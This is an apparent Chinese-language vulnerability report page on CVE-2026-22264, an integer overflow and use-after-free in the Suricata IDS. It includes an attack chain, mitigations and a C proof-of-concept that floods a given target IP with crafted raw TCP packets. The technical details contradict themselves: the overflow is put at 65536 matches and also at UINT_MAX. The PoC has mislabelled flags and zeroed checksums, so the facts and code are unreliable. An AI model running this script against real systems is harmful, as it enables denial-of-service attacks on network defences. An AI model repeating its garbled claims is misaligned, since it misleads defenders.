IPBUF安全漏洞报告
English
CVE-2026-22264 CVSS 7.4 高危

CVE-2026-22264 Suricata整数溢出导致堆使用后释放漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2026-22264
漏洞类型
整数溢出/堆使用后释放
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Suricata

相关标签

Suricata整数溢出堆使用后释放网络入侵检测CVE-2026-22264Use-After-FreeRemote Code ExecutionDoSIDS/IPSMemory Corruption

漏洞概述

Suricata是一款开源的网络入侵检测系统(IDS)、入侵防御系统(IPS)和网络安全管理(NSM)引擎。该漏洞影响Suricata 8.0.3和7.0.14之前的所有版本。漏洞根源在于Suricata在处理单个数据包时,当该数据包匹配大量签名规则时,会触发无符号整数溢出(uinteger overflow)缺陷。这种整数溢出进一步导致堆使用后释放(Heap Use-After-Free)条件,攻击者可通过构造恶意网络流量触发此漏洞。成功利用此漏洞可能导致Suricata进程崩溃(拒绝服务)或在特定条件下实现任意代码执行。由于漏洞位于网络检测引擎的核心组件,攻击者可通过发送精心构造的网络数据包在无需认证和用户交互的情况下触发该漏洞,对运行Suricata的网络安全设备造成严重威胁。

技术细节

漏洞产生于Suricata的告警生成(Alert Generation)模块。当Suricata对单个数据包进行签名匹配检测时,如果该数据包匹配了过多(超过65536个)的签名规则,内部的计数器会发生无符号整数溢出。在正常情况下,Suricata使用32位无符号整数记录匹配到的签名数量,但当数量超过UINT_MAX(4294967295)时会发生整数回绕。更关键的是,溢出后的错误计数值被用于后续的内存管理操作,导致已释放的堆内存被再次访问(Use-After-Free)。攻击者可以通过部署包含大量重叠签名的规则集,然后发送匹配这些签名的特制数据包来触发漏洞。漏洞利用需要满足以下条件:1)Suricata加载了超过65536条可能匹配同一数据包的签名规则;2)攻击者能够向Suricata监控的网络发送特制数据包。漏洞存在于Suricata的流处理和告警统计逻辑中,涉及内存分配和释放的不当同步。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标网络中运行Suricata的设备,确认其版本是否在8.0.3或7.0.14之前。通过端口扫描或流量分析确认Suricata的存在和版本信息。
STEP 2
步骤2: 规则集准备
攻击者需要确保Suricata加载了超过65536条可能匹配同一数据包的签名规则。这可以通过利用Suricata的规则更新机制或社会工程学手段诱骗管理员加载恶意规则集实现。
STEP 3
步骤3: 恶意数据包构造
攻击者构造包含特定特征的恶意网络数据包,该数据包需要匹配规则集中大量签名。数据包应包含常见的攻击特征模式,如目录遍历序列、SQL注入关键字或恶意脚本代码。
STEP 4
步骤4: 整数溢出触发
当Suricata处理该恶意数据包时,同时匹配多个签名导致告警计数器递增。由于计数器为无符号整数,当匹配数超过其最大值时发生整数溢出。
STEP 5
步骤5: 堆使用后释放
整数溢出产生的错误计数值被用于后续的内存操作,导致Suricata尝试访问已被释放的堆内存块,触发Use-After-Free条件。
STEP 6
步骤6: 漏洞利用
根据内存布局和利用技术,攻击者可能实现:1)进程崩溃导致拒绝服务攻击;2)通过堆喷射等技术覆盖释放的内存实现代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22264 PoC - Suricata Integer Overflow leading to Use-After-Free // This PoC demonstrates triggering the vulnerability by generating excessive alerts #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #define MALICIOUS_PAYLOAD "\x47\x45\x54\x20\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x00" void generate_malicious_packet(unsigned char *packet, int size) { // IP Header packet[0] = 0x45; // Version 4, IHL 5 packet[1] = 0x00; // DSCP packet[2] = (size >> 8) & 0xFF; packet[3] = size & 0xFF; packet[4] = 0x00; packet[5] = 0x01; // Identification packet[6] = 0x40; // Flags: Don't Fragment packet[7] = 0x00; // Fragment Offset packet[8] = 64; // TTL packet[9] = 0x06; // Protocol: TCP packet[10] = 0x00; packet[11] = 0x00; // Checksum placeholder // Source IP: 192.168.1.100 packet[12] = 192; packet[13] = 168; packet[14] = 1; packet[15] = 100; // Dest IP: 192.168.1.1 packet[16] = 192; packet[17] = 168; packet[18] = 1; packet[19] = 1; // TCP Header packet[20] = 0x00; packet[21] = 0x50; // Source Port: 80 packet[22] = 0x01; packet[23] = 0xBB; // Dest Port: 443 packet[24] = 0x00; packet[25] = 0x00; packet[26] = 0x00; packet[27] = 0x01; // Seq packet[28] = 0x00; packet[29] = 0x00; packet[30] = 0x00; packet[31] = 0x00; // Ack packet[32] = 0x50; // Data Offset packet[33] = 0x02; // Flags: SYN, ACK packet[34] = 0x00; packet[35] = 0x00; // Window packet[36] = 0x00; packet[37] = 0x00; // Checksum packet[38] = 0x00; packet[39] = 0x00; // Urgent Pointer // Payload - malicious pattern to match multiple signatures int payload_start = 40; for (int i = 0; i < size - payload_start && i < strlen(MALICIOUS_PAYLOAD); i++) { packet[payload_start + i] = MALICIOUS_PAYLOAD[i]; } } int main(int argc, char *argv[]) { int sock; struct sockaddr_in target; unsigned char packet[65536]; if (argc < 2) { printf("Usage: %s <target_ip>\n", argv[0]); return 1; } printf("[*] CVE-2026-22264 PoC - Suricata Integer Overflow\n"); printf("[*] Target: %s\n", argv[1]); // Create raw socket sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("[!] Socket creation failed"); return 1; } memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(argv[1]); // Generate and send malicious packets for (int i = 0; i < 1000; i++) { memset(packet, 0x41, sizeof(packet)); // Fill with pattern generate_malicious_packet(packet, 1500); if (sendto(sock, packet, 1500, 0, (struct sockaddr *)&target, sizeof(target)) < 0) { perror("[!] Send failed"); } usleep(1000); // Small delay between packets } printf("[+] Sent %d malicious packets\n", 1000); printf("[*] If Suricata has >65536 matching signatures, trigger overflow\n"); close(sock); return 0; }

影响范围

Suricata < 7.0.14
Suricata < 8.0.3

防御指南

临时缓解措施
作为临时缓解措施,建议采取以下方案:1)不要运行来源不可信的规则集,确保所有规则经过安全审核;2)限制单个数据包可匹配的签名数量,配置max-signatures-match-per-packet参数小于65536;3)在生产环境中实施规则集的最小化原则,只保留必要的检测规则;4)监控Suricata进程内存使用情况,设置异常告警;5)考虑在边界设备过滤恶意流量模式,减少针对Suricata的攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表